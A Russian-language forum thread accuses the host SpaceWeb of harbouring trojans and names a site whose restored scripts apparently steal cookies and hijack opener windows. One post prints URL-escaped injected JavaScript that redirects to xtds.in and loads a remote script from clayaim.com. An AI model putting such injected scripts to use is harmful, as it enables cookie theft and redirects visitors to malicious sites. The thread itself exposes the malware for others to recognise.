SpaceWeb.ru (sweb.ru) - хостинг зоопорно и троянов
  • Погорячился я, возможно владелец сайта и правда не при чем, его также поломали
  • Ссылку на этот топик я им даю, аккаунт на форуме есть, пусть объясняются публично.


    У них (Свеб.ру) где-то есть свой топик на Мастертоке, там лучше было писать о подобных делах.
  • Ну что, жалоба уехала на вторую страницу форума и скрипты можно восстанавливать.

    Что и сделал овнер сайта. На том же месте где и были.

    bestxxx.org/images/img.php?
    bestxxx.org/images/s.js

    Первый урл по прежнему ворует куки, второй открывает т.н. опенеры.
    Дешифрованный код, если кому-то интересно

    Код
    %3Cscript%20type%3D%27text/javascript%27%3Eif%20%28parent.window.opener%29%20parent.window.opener.location%3D%27http%3A//xtds.in%27%3B%3C/script%3E%0D%0A%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//www.clayaim.com/index.php%3Fref%3Dwebex%22%3E%3C/script%3E

    Я заэскейпил, но понять можно.

Привет, незнакомец!

Похоже, Вы новенький! Чтобы начать обсуждение, кликните на одну из кнопок ниже ;)

Войти с помощью OpenID

Категории

В этой теме: